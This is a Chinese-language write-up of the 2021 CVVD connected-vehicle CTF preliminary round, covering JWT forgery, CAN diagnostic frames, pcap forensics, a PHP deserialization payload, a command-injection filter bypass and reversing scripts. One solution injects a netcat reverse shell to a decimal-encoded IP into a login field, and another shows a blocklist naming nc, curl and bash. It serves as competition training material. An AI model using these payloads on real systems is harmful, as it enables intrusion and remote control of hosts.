2021 CVVD首届车联网漏洞挖掘赛线上初赛Writeup
2021 CVVD首届车联网漏洞挖掘赛线上初赛G2mtu Writeup
jwt
原题
https://blog.csdn.net/weixin_46676743/article/details/113726655
带着
1 | Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImVicmVidW5hIiwicGFzc3dvcmQiOiIiLCJhZG1pbiI6ImdlaHIiLCJpYXQiOjE2MjA0NTgwMzJ9.QkpCPfCtmMmeEYRoLFzzT8ag7mIaIPIcbZLZABqnXHw |
访问/admin
CAN总线4
通过诊断服务报文使ECU停止发送网络管理报文,但仍能接收应用报文,请写出诊断服务报文数据场的前4字节。
参考https://blog.csdn.net/usstmiracle/article/details/109214586
0x04 应用层有四字节
0x28 CommunicationControl
0x01 enableRxAndDisableTx(激活接收和关闭发送)
0x2代表网络管理报文
1 | flag{04 28 01 02} |
CAN总线6
通过诊断服务使ECU进入扩展会话,如果ECU肯定响应,请写出ECU回复报文数据场的第2、3字节内容,如果ECU否定响应,请写出ECU回复报文数据场的第2、3字节内容。
参考https://zhuanlan.zhihu.com/p/37310388
肯定响应,50=10+40表示对SID的肯定回复,03是Extended扩展会话。
否定响应,7F表示否定响应,10是SID,表示诊断模式。
1 | flag{50 03 7F 10} |
stealthupload
首先把附件下载uploader_ec1afb6e216063e8e0be11604e51a050.pcapng,然后拖进wireshark
然后ctrl+F
打开分组字节流搜索,选择字符串,直接输入flag
然后发现有个flag.txt的字样,试着把这个压缩包导出。
直接用:文件->导出分组字节流->保存文件
但是导出后的压缩包解压之后发现并没有什么用
但是发现这里是使用qq邮箱传文件
于是使用包过滤语句http.request.method==POST
发现有5个连续的包。
这里需要去掉这5个包相同的头文件
先点击第一个数据包。可以发现长度为131436 bytes
依次发现第2,3,4个数据包长度均为131436 bytes
第5个包长度为1777 bytes
所以5个包的总长度为
131436*4+1777=527571
接着使用ctrl+F搜索logattsize,logattsize 这个参数为该包中通过qq邮箱传输的文件大小参数
527571-525701=1820
1820就是五个包的文件头总和
1820/5=364
364就是每个包的文件头字节数
这里我们把字节数算出来之后,就需要把这五个包导出来,导出之后用 shell命令 dd,依次把五个文件去掉文件头保存成另一文件
依次对1,2,3,4,5文件执行,分别保存为01,02,03,04,05
1 | copy /B 01+02+03+04+05 bugkufly.rar |
但是解压的时候出现了问题
可能是zip伪加密,打开010编辑器。把图中84改为80。
改完之后把文件后缀改为exe,再放到kail里面binwalk
1 | binwalk -e flag.exe |
发现没有想要的东西。再用foremost试一下
1 | foremost -T flag.exe |
出现了二维码图片,用手机扫一下即可得到
1 | flag{m1Sc_oxO2_Fly} |
SQL注入解决不了问题
原题:https://castilho101.github.io/midnightsun-2021-ctf/
传入参数
1 | /?userdata=Tzo4OiJzdGRDbGFzcyI6NDp7czo4OiJ1c2VybmFtZSI7czoxMToiRDBsb3Jlc0g0emUiO3M6ODoicGFzc3dvcmQiO3M6MTM6InJhc211c2xlcmRvcmYiO3M6MTM6Il9jb3JyZWN0VmFsdWUiO047czozOiJtZmEiO1I6NDt9 |
然后得到
1 | flag{CVVD_Y5owvt9Rs4} |
绕过检测是一门艺术
题目如下
1 | <?phphighlight_file(__FILE__);$filter = '/#|`| |[\x0a]|ls|rm|sleep|sh|bash|grep|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\||&|\/|\\\\/is';$cmd = $_POST['cmd'];if(!preg_match($filter, $cmd)){ system($cmd."echo 'hi~'");}else{ die("???");}?> |
先用
1 | dir%09.%09 |
看到有个文件夹CvvD_F14g_1s_h4rehaha.php
,然后读取文件
payload
1 | cmd=cut%09-f%091%09CvvD_F14g_1s_h4rehaha.php%09 |
然后得到flag
答案并不在数据库中
原题:https://pocas.kr/2021/03/08/2021-03-08-zer0pts-CTF-2021/
脚本
1 | import requestsurl = "http://192.168.1.103:8003"username = '";\n.sh nc 661356205 12 -e sh\n'data = {"username": username, "password": "pocas"}requests.post(url+"/login", data) |
ip使用十进制绕一下
然后在vps监听nc -lvnp 12
,可以反弹一个shell。反弹之后根目录下有个flag直接读就行了
1 | flag{CVVD_QKtmeZ86U9} |
提交答案的一百种方式
exp
取cvvd为密钥,进行表替换,不过表的值直接从内存中取即可,明文首先通过循环左移一位,然后与表内容异或,最后进行base64逆过来即可
1 | import base64temp = []miyao = ['c','v','v','d']temp = [0xdf ,0x66 ,0x52 ,0xb9 ,0x20 ,0x1a ,0x17 ,0x29,0xed ,0x76 ,0x67 ,0x5b ,0x58 ,0x22 ,0xd1 ,0x44,0x26 ,0x3e ,0xc6 ,0xfb ,0xb4 ,0x3f ,0x33 ,0x4b]encrypt = "GYq+cZ7Iqb8xFonl/EQ9zsJUDA=="decrypt = base64.b64decode(encrypt)print len(decrypt)decrypt = list(decrypt)for i in range(len(decrypt)): decrypt[i] = chr((temp[i]^ord(decrypt[i]))) decrypt[i] = chr((((ord(decrypt[i])<<7)&0xff)|((ord(decrypt[i])>>1)&0xff)))flag=""for i in range(len(decrypt)): flag+=decrypt[i]print flag |
你知道什么是反编译么
exp
加密代码在so中,考察so逆向,并且是攻防世界的原题
将f72c5a36569418a20907b55be5bf95ad两两交换得到7fc2a5636549812a90705bb55efb59da
将7fc2a5636549812a90705bb55efb59da以中间一分为二,头拼接到尾,得到90705bb55efb59da7fc2a5636549812a
这次不是反编译了
逻辑很简单,每个字符经过运算都需要等到0x30,并且变量为下标,直接逆即可
exp
1 | flag=""for i in range(12): flag += chr((0xff-i-100-0x30)%256)print flag |
我想用用你的网
Wireshark 找到 eapol 协议的 wifi 链接认证 WPA 的四次握手包,爆破链接密码即可。用手机号码字典爆破成功:
1 | flag{13910407686} |
stegsolve
右键看源码发现有两个图片(base64编码),都down下来,mac打开titf格式那张图,看到flag
可以进行嗅探的可不止是嗅探犬
wireshark是电线上的鲨鱼么?
stegsolve-simple?
题目提示 stegsolve 联系杂项工具 stegsolve 。blue plane 1 有隐藏信息,data extract 提取出来即可。
1 | flag{cicv_a_simple_flag} |